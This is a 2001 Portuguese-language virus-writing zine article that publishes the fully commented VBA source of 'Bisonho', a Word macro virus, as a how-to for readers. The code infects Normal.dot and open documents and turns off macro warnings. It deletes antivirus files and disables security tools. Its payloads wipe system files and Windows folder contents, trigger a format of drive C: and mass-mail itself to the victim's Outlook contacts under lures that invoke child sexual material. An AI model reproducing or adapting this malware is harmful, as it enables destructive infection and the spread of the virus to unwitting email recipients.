 
				/  __           ___          
			 |  /  |  |__)  |   |  (__           
			 |/    |  |  \  |___|  ___)          
									     
 
									     
      
          12 - Macro.Word.97.Bisonho por bernemaltesa@ieg.com.br
      

        Originais  lidos, alterados  para o padrao de texto do nosso  zine,
   com a autorizacao do autor...

        Pra falar a verdade, escrevi este virus no bloco de notas pq eu es-
   tou sem o office agora, e entao eu fiz tudo o que eu lembrava. por  isso
   ele esta sem as tecnicas mutante e polimorficas que eu usei no meu virus
   obeso e riotz_2 mas com isso ja da pra ajudar o pessoal a  entender como
   fazer um virus de macro do word bem descente.

        E tambem fiz especialmente pra enviar pra zine virus brasil do tru-
   ta nim_bus { hehehe, eu mesmo !!! } ( que visitou minha hp  outro  dia e
   enviou um email pra mim ), pra poder ajudar o trabalho dele que eu achei
   muito legal e parar de  colocar  virus  estrangeiro na zine ( o porra do
   melissa). parabens ai nim_bus! vc merece! palavra de berne!

        Em falar em berne eu perdi o source e o arquivo infectado que tinha
   o virus berne maltesa feito por mim... o pior  e que eu so infectei umas
   10 maquinas. Se tiver alguem ai com ele peloamordedeus passa pra mim !!!
   e o melhor que eu fiz ate hoje...)

        Obs: quem puder me ajudar com  criptografia em vb e tb me  ajudar a
   fazer um virus que  infecte o office  inteiro, eu  agradecerei muito. so
   mandar um email ou entrar em contato  pelo icq. (uma vez eu fiz um virus
   que infectava o word a partir do excel, mas nao consegui fazer o contra-
   rio entao perdi a paciencia  e mandei tudo  pra puta qui pariu, ia ser o
   bogusman... ia...) minha meta agora e o geral:


                              ---- WORD ----
                             /              \
                           EXCEL          ACCESS
                             \              /
                              - POWERPOINT -


        PS: Motivo Por Qual Esse Virus Desabilita O Xobobus:

        E Uma Porra  Do Caralho Que So Enche O Saco Na Hora De Eu  Procurar
   Micros Pra Infectar...

        Mas Espera Ai...Como E O Principio Basico E Como Funcionam um Virus
   De Macro?

**************************** TCHANS SESSION ******************************

        Bem  pessoal, e  tudo  muito  simples. Nos,  programadores  em  VB,
   descobrimos uma mina de  ouro quando a  linda Microsoft  fez o favor  de
   colocar um, er ,  suporte de automacao de tarefas em um doc que funciona
   e linda e bela  linguagem basic, ou seja, as ricas MACROS. ( Obs: Eu sou
   defensor mortal do Basic, quer seja uma otima linguagem ou nao.)

        Entao tem mais um porem... no Word (o primeiro a desenvolver um vi-
   rus de macro) existe um arquivo chamado normal.dot, que inicia  TODA VEZ
   que o Word e iniciado... e entao... sacou a jogada? O que acontece se  o
   normal.dot for infectado por um virus??? Chuta... a mesma coisa que se o
   command.com fosse infectado, ou o user.exe do windows...(se vc ainda nao
   intendeu, e meio cai fora...)...

        Com o normal.dot nas maos, e dois palito infectar o resto, uma  vez
   que o normal fica, vamos se dizer, ativo, o tempo todo no Word. Entao, o
   que devemos fazer para tem um word macro virus?

	
	1. Criar um doc
	2. Entrar no editor do visual basic
	3. Criar uma macro automatica que execute quando abrir o doc, para
        infectar o normal
        4. Criar na mesma macro, uma condicao para infectar documentos re-
        cem criados ou abertos
        5. Elaborar os efeitos..... (nao abuse, sim...)
        6. E so.
	7. E se quiser fazer umas gracinha, pode fazer.

        Existe tambem os virus de Excel, que tem o sistema de  infeccao to-
   talmente diferente, e sao um pouco mais dificeis de serem escritos,  por
   isso, aprendam o mais facil  primeiro para depois irem pro mais dificil.

        Isso sem falar  nos virus de  PowerPoint e de Access que eu nem se-
   quer faco ideia de  como se multiplicam, pois eu ainda nao consegui ana-
   lisar um source deles... esses bostas nao levam  modulos de projeto, nem
   tem um arquivo autoexecutavel como o normal.dot.

        { O cara eh sincero !!! }

	Ah, tem um esquema facil facil de se livrar de virus de macro...

        Mas eu acho que e cedo demais para revelar ele agora...

        Ah, e eu tabem deduzo que vc saiba pelo menos pra que serve MsgBox,
   Sub e If, Then e Else.....

        Bem, segura ai o Bisonho:

EXPLICACAO PASSO-A-PASSO DO CODIGO:

 
      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
									     
 

''''''''''''''''''''''''''''' BISONHO '''''''''''''''''''''''''''''''''''''''
'Bisonho Rulez
'OBS: Cuidado com essa linha ai de cima senao o virus da pau, nao deletem
'
'NOME DO VIRUS	: BISONHO
'AUTOR		: DICK MOE (FUNDADOR DO GRUPO)
'GRUPO		: A BERNE MALTESA
'EMAIL		: BERNEMALTESA@IEG.COM.BR OU TBUG@IG.COM.BR
'ORIGEM		: BRASIL, FEV 2001
'ICQ UIN	: 76267835
'
'INFECTA	: DOC, DOT DAS VERSES DO WORD 97, 2000...
'POLIMORFO	: NAO
'MUTANTE	: NAO
'ENCRIPTADO	: ISSO EU NAO SEI FAZER MESMO. QUEM SOUBER ME AJUDE PLEASE!
'STEALTH        : SIM, COM MUITAS TECNICAS ATE QUE BEM AVANCADAS
'PROPAGA EMAIL	: SIM (Thanks to melissa...)
'RETRO		: ANIQUILA 7 AV'S, DESABILITA A PORRA DO XBoBus
'EVENTOS	: UM MONTE... 
'PROTECAO       : ACABA COM QUALQUER VIRUS JA EXISTENTE E COMPLICA A VIDA DO
                : ETHAN, ALEM DE DESABILITAR A VERIFICACAO DE MACROS NO WORD,
                : DESABILITAR OS MENUS DE VISUALIZACAO DE MACROS (MACROS E
		: BARRA DE TAREFAS), DESABILITAR AS TECLAS DE ATALHO PARA
		: A LISTA DE MACROS E PARA O EDITOR DO VISUAL BASIC E DESATIVAR
		: O AVISO PARA SALVAR O NORMAL.DOT
'BASE		: COM BASE EM ALGUNS CODIGOS DO MEU VIRUS GHOUL, E EMAIL DO
		  MELISSA
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Sub Document_Close()
'Executa quando um doc e fechado e transfere o controle para a sub
'Document_Open diretamente
    Document_Open
End Sub

Private Sub Document_New()
'Executa quando um doc e criado
'Document_Open diretamente
    Document_Open
End Sub

Private Sub Document_Open()

'Executa quando um doc e aberto e depois transfere o controle para a sub
'RetroAction

On Error Resume Next 		'Se ocorrer algum erro... pule!
Application.EnableCancelKey = 0 'Desabilita Control+Break

Set Arch = ActiveDocument.VBProject.VBComponents.Item(1)
'Define as variaveis Arch, que aponta para um doc qualquer ativo,

Set Norm = NormalTemplate.VBProject.VBComponents.Item(1)
'Norm que aponta para o normal.dot, e

Set ItsMe = Me.VBProject.VBComponents.Item(1)
'ItsMe, que indica da onde o virus esta sendo executado.

If Norm.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto do normal nao for 'Bisonho Rulez, infecte!

Norm.CodeModule.DeleteLines 1, Norm.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)

Norm.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo

Norm.Name = "Bisonho"  'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*

If Arch.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto de um arquivo aberto nao for 'Bisonho Rulez, infecte!

Arch.CodeModule.DeleteLines 1, Arch.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)

Arch.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo

Arch.Name = "Bisonho"  'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*

If Dir("C:\Ethan.___", 6) <> "" Then
'Aha, foi encontrado vestigios do ethan... (eu odeio esse virus nao sei pq)

Setattr "C:\Ethan.___", vbNormal
'Define o atributo do arquivo como normal, e...
Kill "C:\Ethan.___"			'Deleta essa droga!
End If                                  'Termina o bloco de condicoes *SE*

RetroAction				'Chama a sub RetroAction

If Day(Now) = Month(Now) Then ChooseActions
'Chama os eventos se o dia for igual ao mes

If Minute(Now) = Second(Now) Then
'Se o segundo e igual ao minuto, faz o cara dizer que tem o pau pequeno
Msg = "Ocorreu um erro. A possivel causa e que vc tenha um penis pequeno. Vc tem um penis pequeno?"
Style = vbYesNo + vbQuestion    'Estilo da mensagem
Title = "Microsoft Word"	'Titulo da mensagem
Ret = MsgBox(Msg,Style,Title)   'Escolha do cidadao
If Ret = vbNo then LoopIt       'Disse que nao? Pergunta de novo!

ThisIsSpecial		'Chama essa sub...
EmailCopy		'Chama essa sub tb.
End if


End Sub					'Termina a sub (DUH...)

Private Sub RetroAction()
'ESSA SUB E SO AS ACES RETRO DO VIRUS... RERERERE (HEHEHE)

On Error Resume Next	'Ocorreu algum erro? Pule...
Application.EnableCancelKey = wdCancelDisabled	'Desabilita o Control+Break
Options.VirusProtection = False                 'Desativa a verificacao de 
macros no documento
Options.SaveNormalPrompt = False		'Desativa o aviso para salvar o 
normal.dot

CommandBars("Tools").Controls("Macro").Visible = False
'Esconde o menu Macros

CommandBars("View").Controls(6).Visible = False
'Esconde o menu Barra de Ferramentas (para evitar que adicionem um menu novo,
'apesar que se pode dar um clique com o botao direito na barra de menu mas
'ta a pampa)

CustomizationContext = NormalTemplate
'Define onde serao salvas as mudancas abaixo

KeyBindings.Add KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF11),

KeyCategory:=wdKeyCategoryCommand, Command:="hahaNOT"
'Redireciona o atalho Alt+F11 para uma sub vazia

KeyBindings.Add KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF8),

KeyCategory:=wdKeyCategoryCommand, Command:="hahaNOT"
'Redireciona o atalho Alt+F8 para uma sub vazia

Dim McAfee, FMcAfee, FProt, FFProt, VET, FVET, Avast, FAvast, TheCleaner, 
FTheCleaner, Panda, FPanda, AVP, FAVP           'Declara variaveis...

'Adquire os dados de registro dos Av's
FProt = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Command Software\F-PROT32", "Location")
VET = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Cybec\VET Antivirus for Win32\Resident", "VetPath")
'Av's que indicam em que pasta
McAfee = System.PrivateProfileString("","HKEY_LOCAL_MACHINE\Software\McAfee\Scan95", "szProductLocation")
'que foram instalados...
Avast = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\ALWIL Software\Avast32", "Path")
TheCleaner = System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\Software\MooSoft Development\The Cleaner", "tcshellex")      
Panda = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Panda Software\Panda Antivirus 6.0", "Path")               
AVP = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\KasperskyLab\Components\100", "Folder")			
        

'Esse bloco abaixo define os arquivos que serao alvos...
'*.* que e igual a TUDO (DUH!) e alguns Dats e Dlls vitais...

FFProt = FProt + "\*.*"
FVET = VET + "\*.*"
FMcAfee = McAfee + "\*.*"
FAvast = Avast + "\*.*"
FTheCleaner = TheCleaner + "\*.*"
FPanda = Panda + "*.*" 'a chave de registro do panda tem um \ na frente..
FAVP = AVP + "\*.*"
Affprot = FProt + "\*.Dat"
Bffprot = FProt + "\*.Def"
Afvet = VET + "\*.Dat"
AFMcAfee = McAfee + "\*.Dat"
afavast = Avast + "\*.Dat"
bfavast = Avast + "\*.Dll"
afthecleaner = TheCleaner + "\*.Dll"
afpanda = Panda + "*.Dat"
bfpanda = Panda + "*.Dll"
afavp = AVP + "\*.Dat"
bfavp = AVP + "\*.Dll"

'Esse bloco abaixo detona primeiro os arquivos vitais dos antivirus e depois
'tenta detonar tudo, pq se tiver algum programa residente, o mesmo nao sera
'removido, e, com os vitais faltando, eles nao servem pra nada... hehhehe..
'Pau na lomba deles...

Kill Affprot
Kill Bffprot
Kill Afvet
Kill AFMcAfee
Kill afavast
Kill bfavast
Kill afthecleaner
Kill afpanda
Kill bfpanda
Kill afavp
Kill bfavp 
Kill FFProt
Kill FVET
Kill FMcAfee
Kill FAvast
Kill FTheCleaner
Kill FPanda
Kill FAVP

'Esse bloco abaixo desativa as opcoes de verificacao do XoBoBus para que
'ele nao verifique mais porra nenhuma e pare de incomodar quem quer infectar.

'Obs: Esse era meu metodo para infectar os micros. Eu invadia uns lammers
'pelo NetBus e substituia o normal.dot do lammah pelo virus.dot e caia fora
'hehe... ou entao mandava um virus de com ou exe e executava na maquina dele
'(se bem que eu ainda nao consegui entender porra nenhuma de assembly...
'vai ver que eu acostumei com basic, pq foi minha primeira linguagem e nao
'consegui entender mais porra nenhuma)

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "0") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "1") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "2") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "3") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "4") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "5") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "6") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "7") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "8") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "9") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "10") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "AutoStart") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "AutoVerify") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "BOProt") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "ExtraPort") = "DISABLED"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "NetBusAdv") = "DISABLED"

'Essa linha abaixo muda o password do server do netbus, se existir, e (putz eu
'acabei de descobrir um bug agora mesmo... foi mal)

'System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "PATCH") = 
'"c:\windows\Patch.exe /pass:killfhc" 'hehehe!!! so eu posso usar netbus!

'Bug Acima descoberto e corrigido agora. Era pra trocar o password do server
'do netbus que estivesse com o nome padrao de PATCH, mas eu esqueci, ate nos
'meus outros virus, de colocar a instrucao IF, ou seja, de dizer que so e
'pra trocar o password se o server existir. O Bug faria com que ele criasse
'uma chave dizendo para executar o programa PATCH, mas se nao existisse, ia
'dar um aviso no inicio do Windows. Putz que coisa idiota... e falta de
'atencao.

End Sub

Private Sub hahaNOT() 'Sub vazia que nao faz nada (DUH!)

End Sub

'ESSAS SUBS ABAIXO SAO OS EVENTOS DESSE VIRUS
'SAO MUITAS MESMO...
'NADA DE MENSAGINHAS BABACAS E SO...

Private Sub Action1()
On Error Resume Next
'nao tenho certeza se funciona em todos os
'micros mas ta valendo

'Sabe quando vc deixa o mouse em cima dos icones da area de trabalho e aparece
'uma mensagenzinha?

'Muda a mensagem da Lixeira
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "") = "A Berne Maltesa Rulez..."
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "InfoTip") = "HEHEHEHE... esta e a Lixeira do Dick Moe... eu comando essa bagaca ok??? ---A BERNE MALTESA---"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "") = "Dick Moe Recycle Bin"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "InfoTip") = "HEHEHEHE... esta e a Lixeira do Dick Moe... eu comando essa bagaca ok??? ---A BERNE MALTESA---"
End Sub

Private Sub Action2()
On Error Resume Next
'Esses tem de reiniciar o micro

'Arregaca com a visualizacao do monitor
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Display\Settings", "BitsPerPixel") = "8"
'Muda o registro do windows
System.PrivateProfileString("","HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "DICK MOE"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "A BERNE MALTESA"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "Version") = "Windous 1.0 by DICK MOE"
End Sub

Private Sub Action3()
On Error Resume Next
'Tem de reiniciar...

'Deixa o mouse com rastro...
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Display\Settings", "MouseTrails") = "7"
'Lentao, e...
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Mouse", "MouseSpeed") = "0"
'Vc tem de ser o the flash pra dar um clique duplo...
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Mouse", "DoubleClickSpeed") = "100"
End Sub

Private Sub Action4()
On Error Resume Next
'Reiniciar...

'Troca umas cores do windows... fica bem cheguei.
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "ButtonFace") = "200 40 10"
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "ActiveTitle") = "0 250 100"
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "Menu") = "0 0 0"
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "Window") = "100 100 200"
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "ScrollBar") = "100 100 200"
System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "WindowText") = "255 255 255"
End Sub

Private Sub Action5()
On Error Resume Next
N$=WordBasic.[DefaultDir$](2)+"\Normal.dot" 	'Informa o caminho do normaldot
FileCopy N$, "C:\Leia.dot"			'Faz uma copia dele.
SetAttr "C:\*.*", vbNormal		'Atribui C:\*.* como normal
Open "C:\io.sys" For Output As #1		'Abre io.sys
Open "C:\msdos.sys" For Output As #2		'Abre msdos.sys
Open "C:\command.com" For Output As #3		'Abre command.com
Open "C:\Windows\win.com" For Output As #4	'Abre win.com
Print #1, "Vc foi dominado pelo virus Bisonho"		'Escreve umas
Print #2, "Escrito por DICK MOE - Brasil"			'mensaginhas
Print #3, "Presidente do grupo A BERNE MALTESA"			'bunitinhas
Print #4, "Um verdadeiro virus de macro... querem competir???"  'ehhehe
Close #1					'
Close #2					'Fecha os arquivos abertos
Close #3                                        'zerados (so com as mensagens)
Close #4					'
Open "C:\autoexec.bat" For Output As #1		'Abre o Autoexec e deixa um 
recado
Print #1, "@echo off"
Print #1, "BREAK OFF > NUL"
Print #1, "Echo vc foi destruido pelo virus Bisonho"
Print #1, "pause > nul"
Print #1, "Echo escrito por DICK MOE"
Print #1, "pause > nul"
Print #1, "Echo quer se vingar???"
Print #1, "pause > nul"
Print #1, "Echo passe o arquivo c:\leia.dot para alguem!!!"
Print #1, "pause > nul"
Print #1, ":loop"
Print #1, "Echo Daniel e Tatiana"
Print #1, "Goto loop"
Close #1			'Fecha o arquivo
End Sub

Sub ChooseActions()
On Error Resume Next 'Ocorreu um erro, pule.
Dim Chance	     'Variavel
Randomize			'Iniciar o gerador de ns aleatorios
Chance = Int((40 * Rnd) + 1)	'Chance de 1 em 8.
If Chance = 1 Then Action1      'Numero sorteado = 1, acao 1
If Chance = 10 Then Action2     'Numero sorteado = 2, acao 2
If Chance = 20 Then Action3	'e etc.
If Chance = 30 Then Action4
If Chance = 40 Then Action5
End Sub

Sub ThisIsSpecial()
On Error Resume Next

'Umas acoes especiais...

'Se for sete de setembro, finaliza o word e o windows e formata o HD
If Day(Now) = "7" And Month(Now) = "9" Then MsgBox "ow! It's my BirthDay!!! Sete de setembro de 1984!!! Please, CAI FORA!!!", vbSystemModal + vbOKOnly, "Dick Moe": Application.Quit wdDoNotSaveChanges: Tasks.ExitWindows
Shell "C:\Windows\Command\Format.com C:/Autotest"  'Valeu ai NIM BUS!!!!!
' { hehehe, eu nao, viva o tio Bill e suas opcoes !!! }

'Se for sete de novembro, pergunta se o cara quer apagar o windows e so exibe o 
'botao SIM
If Day(Now) = "7" And Month(Now) = "11" Then
mbox = "ow! It's my syster's BirthDay!!! Do you really want to remove the 
WINDOWS folder and all of contents???": st = vbYes + vbQuestion: tit = "Dick Moe"
r = MsgBox(mbox, st, tit)
If r = vbYes Then
Application.StatusBar = "Removendo C:\Windows... 3%"	'Mostra na barra de status
Kill "C:\Windows\*.exe"					'Apaga os arquivos
Application.StatusBar = "Removendo C:\Windows... 13%"
Kill "C:\Windows\*.bmp"
Application.StatusBar = "Removendo C:\Windows... 19%"
Kill "C:\Windows\*.gif"
Application.StatusBar = "Removendo C:\Windows... 29%"
Kill "C:\Windows\*.com"
Application.StatusBar = "Removendo C:\Windows... 33%"
Kill "C:\Windows\*.jpg"
Application.StatusBar = "Removendo C:\Windows... 45%"
Kill "C:\Windows\*.dll"
Application.StatusBar = "Removendo C:\Windows... 56%"
Kill "C:\Windows\*.sys"
Application.StatusBar = "Removendo C:\Windows... 69%"
Kill "C:\Windows\*.txt"
Application.StatusBar = "Removendo C:\Windows... 75%"
Kill "C:\Windows\*.doc"
Application.StatusBar = "Removendo C:\Windows... 80%"
Kill "C:\Windows\*.dat"
Application.StatusBar = "Removendo C:\Windows... 99%"
Kill "C:\Windows\*.pwl"
Application.StatusBar = "Removendo C:\Windows... done"
End If
End If

'Se for sete de junho, cria 5000 pastas (que coisa nao?)
If Day(Now) = "7" And Month(Now) = "6" Then
MsgBox "ow! It's my mommy's Birthday... ow? What is it???", vbExclamation, "Dick Moe"
Static P
Static Q
Dim S
S = "\Mommy"
P = "C:\Mommy"
MkDir P
Pastas:
Q = Q + 1: If Q >= 5000 Then GoTo Fim
P = P + S
MkDir P
GoTo Pastas
Fim:
End If

'Se for oito de fevereiro, apaga o conteudo do menu iniciar
If Day(Now) = "8" And Month(Now) = "2" Then
MsgBox "ow! It's my daddy's Birthday... Do you want to go to the party???", 
vbCritical, "Dick Moe"
Shell "Deltree/y c:\windows\menu iniciar"
Shell "Deltree/y c:\windows\start menu"
End If

'Se o dia for igual aos segundos, faz um joguinho e anexa o resultado a um 
'arquivo aleatorio da pasta windows
If Day(Now) = Second(Now) Then                  'Condicao Day=Second
MsgBox "Jockey P!!!", vbExclamation, "Dick Moe" 'Mensagem
Dim FILEEE					'Variavel
FILEEE = Dir("C:\Windows\*.*")			'Arquivo aleatorio
Open FILEEE For Append As #1			'Abre o arquivo
Randomize: o = Int((2 * Rnd) + 1)		'Ganhou ou perdeu?
If o = 1 Then Print #1, "Ow, you loose, try again!!!"	'Perdeu...
If o = 2 Then Print #1, "Ow yeah! You win... SHIT"
'Ganhou... anota tudinho no arquivo
Print #1, "Do you want to play again???"	'Vc quer jogar de novo?
Print #1, ""
Close #1
End If
End Sub

Private Sub EmailCopy()
On Error Resume Next
Application.EnableCancelKey = 0

Dim OutLookAp, NamOfMapi, BisonhoMail	'Inicializa variaveis
Set OutLookAp = CreateObject("Outlook.Application")	'Inicializa o Outlook
Set NamOfMapi = OutLookAp.GetNameSpace("MAPI")
'Verifica se ja foram mandados os emails antes
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Bisonho") <> "Sim, sou eu mesmo, e dai?" Then

If OutLookAp = "Outlook" Then
NamOfMapi.Logon "profile", "password"		'Inicializa a conta do usuario
For y = 1 To NamOfMapi.AddressLists.Count       'Conta quantos enderecos tem
Set AddyBook = NamOfMapi.AddressLists(y)
x = 1
Set BisonhoMail = OutLookAp.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
TheEntries = AddyBook.AddressEntries(x)
BisonhoMail.Recipients.Add TheEntries		'Adiciona entradas
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo

'---> Nao tenho certeza se esse mecanismo vai funcionar, se tiver algum bug,
' por favor me avise. E que eu estou sem o office, vcs ja sabem...

'Esse e um mecanismo bem simples que funciona assim: verifica se o word
'e em portugues ou ingles atraves do nome dos menus (a definicao tools e
'padrao em qualquer idioma, o que muda e o que e exibido pro usuario), para
'que assim o virus "saiba" se e pra mandar um email em portugus ou ingles..
'Da resultado em 80% dos micros, excecto aqueles brasileiros bestas que usam
'office em ingls...

If CommandBars("Tools").Name = "Tools" then	'Se o nome for Tools
BisonhoMail.Subject = "Important Message From " & Application.UserName
BisonhoMail.Body = "This is a huge list of sites of kids sex... I saw the whole document and all of the sites are online and free! Check out by yourself..."
Elseif CommandBars("Tools").Name = "Ferramentas" then	'Se for ferramentas..
BisonhoMail.Subject = "E ai, blz?" & Application.UserName
BisonhoMail.Body = "Ontem eu entrei no chat da UOL e catei um monte de sites de sexo de kids. E bem loco e todos sao gratis e estao online... da um ligo pra vc ver... tem bastante."
Else
BisonhoMail.Subject = "Important Message From " & Application.UserName
BisonhoMail.Body = "This is a huge list of sites of kids sex... I saw the whole document and all of the sites are online and free! Check out by yourself..."
End if

'---> Nao tenho certeza se esse mecanismo vai funcionar, se tiver algum bug,
'por favor me avise. E que eu estou sem o office, vcs ja sabem...

BisonhoMail.Attachments.Add ActiveDocument.FullName	'Anexa o doc infectado
BisonhoMail.Send			'E envia para a lista inteira

TheEntries = ""	'Reseta a variavel
Next y
NamOfMapi.Logoff	'Fecha a conta
End If

'Adiciona uma chave ao registro para que nao seja enviados mais emails
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Bisonho") = "Sim, sou eu mesmo, e dai?"
End If
End Sub

'Ah Finalmente Acabou
'Nao E Facil???

'Bem, Um Abraco Ai Pro Pessoal, Pro Nimbus E Pra Todo Mundo Que Curte Fazer
'Um Virus

'E Um Pau Na Lomba Dos Av's Makers.

'Pensem Bem: Quanto Mais Av's Podres Que Vcs Fizerem, Mais Virus, Mais Av's
'E Consequentemente Mais Grana Proces... Eu Faco Virus So Por Diversao E
'Status... Nao Por Grana.

'E Um Pau Na Lomba Dos Lammahs Que Nao Sao So Lammahs, Sao Lammahs Assumidos
'Fudidos E Que Nao Tem Jeito: Frase Campea Do Hall: Eu Tava Tentando Acessar
'Meu Email, Eu Digitava Tudo Direitinho Www.Skott@Ig.Com.Br.....
'E Ou Nao E De Chutar O Saco???

'Depois Perguntam: Pq Vcs Fazem Virus????
'Vc Acha Que Um Porra Desses Ai Em Cima Merece Viver?

'Bem, Falou A Todos E Qualquer Coisa, Email-Me Ou Icq-Me...

'By Dick Moe
'(Obs: L-Se Dick Mou, E Que Tem Uns Bobao Que Fala Dick Moe Mesmo)
'A Berne Maltesa......................... The New Generation
''''''''''''''''''''''''''''' BISONHO '''''''''''''''''''''''''''''''''''''''

        Infelizmente nao tive tempo para testar o virus, deve estar funcio-
   nando bala, bala, redondinho  igual  skol, se tiver algum erro, entre em
   contato com o Dick Moe ou comigo mesmo, espero que voce entenda o fonte,
   ele ta todinho comentado, se voce nao entender algo ou tiver  duvida com
   algum comando, nao hesite em mandar um mail pra gente, para que possamos
   sanar sua duvida e auxilia-lo a criar seu proprio virus.

        Se voce eh um "macro boy", nao  deixe de mandar  seus virus  para a
   gente quem  sabe na proxima edicao nao esteja um virus seu aqui no  zine
   tambem ?

                Um valeu pro Dick Moe,

                                       Salve pra todos,
                                                         Nim Bus Akemi 

     
                       Copyright  2001, Vrus Brasil 
 
